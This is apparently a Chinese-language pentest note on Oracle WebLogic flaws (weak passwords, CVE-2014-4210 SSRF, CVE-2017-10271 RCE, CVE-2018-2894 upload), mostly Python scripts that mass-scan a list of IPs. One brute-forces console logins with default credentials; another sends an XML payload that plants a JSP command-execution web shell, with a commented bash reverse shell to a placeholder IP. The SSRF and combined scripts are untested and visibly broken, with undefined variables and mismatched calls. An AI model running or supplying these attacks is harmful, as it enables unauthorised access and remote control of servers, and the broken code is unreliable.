漏洞列表弱口令

ssrf CVE-2014-4210

WLS 组件远程代码执行 CVE-2017-10271

任意上传 CVE-2018-2894

weak passwd&&CVE-2018-2894

weblogic 10.3.6(11g)

登录地址:

http://ip:7001/console/login/LoginForm.jsp

默认口令:

weblogic

Oracle@123

CVE-2018-2894要登录上传详情

POCimport requests

def weak_passwd():

users = ['weblogic','admin','system','mary','wlcsystem','wlpisystem']

passwds = ['password','Oracle@123','weblogic','security','wlcsystem','wlpisystem']

with open(r'ip.txt','r') as f:

for ip in f.readlines():

ip = ip.strip()

try:

target = 'http://' + ip + '/console/j_security_check'

headers = {

'Host': ip,

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',

}

for user in users:

for passwd in passwds:

data = {'j_username':user,'j_password':passwd}

r = requests.post(url=target,data=data,headers=headers,timeout=5)

if r.text.count('注销') != 0:

print('[+]' + ip + ' 登录成功' + 'user:{} passwd:{}'.format(user,passwd))

except Exception as e:

print('[+]' + ip + ' 失败')

if __name__ == '__main__':

weak_passwd()

CVE-2017-10271

Oracle WebLogic Server10.3.6.0.0 版本

Oracle WebLogic Server12.1.3.0.0 版本

Oracle WebLogic Server12.2.1.1.0 版本

Oracle WebLogic Server12.2.1.2.0 版本

反弹shell

传cmdshell

EXPimport requests

def wls_unser():

with open(r'ip.txt','r') as f:

for ip in f.readlines():

ip = ip.strip()

try:

url = 'http://' + ip + '/wls-wsat/CoordinatorPortType'

target = 'http://' + ip + '/bea_wls_internal/index.jsp'

headers = {

'Content-Type': 'text/xml',

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',

}

data = '''

servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/index.jsp

java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();

int a = -1;

byte[] b = new byte[2048];

out.print("

");

while((a=in.read(b))!=-1){

out.println(new String(b));

}

out.print("

");

} %>]]>

'''

'''

反弹shell请替换data以及接收端ip

/bin/bash

-c

bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/21 0>&1

'''

r = requests.post(url=url,data=data,headers=headers,timeout=4)

res = requests.get(url=target,headers=headers,timeout=4)

if res.status_code == 200 :

print('[+] shell:' + target)

except Exception as e:

print('[+]'+ ip + ' 失败')

if __name__ == '__main__':

wls_unser()

SSRF

docker搭建环境失败了，不知道什么原因。

ssrf利用

EXP

环境没搭建成，没测试

import requests

def ssrf(ip):

try:

#payload =input('payload:')

target = 'http://' + ip + '/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator={}'.format(payload)

if payload == '':

target = 'http://' + ip + '/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001'

headers = {

'Content-Type': 'text/xml',

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',

}

res = requests.get(url=target,headers=headers,timeout=4)

if res.status_code == 200 and 'Oracle WebLogic Server' in res.text:

print('[+]' + ip + ' 存在ssrf')

else:

print(res.text)

except Exception as e:

print('[+]' + ip + ' 失败')

if __name__ == '__main__':

with open(r'ip.txt','r') as f:

for ip in f.readlines():

ip = ip.strip()

wls_unser(ip)

weak_passwd(ip)

ssrf(ip)

简单合一块也没加多线程效率低下。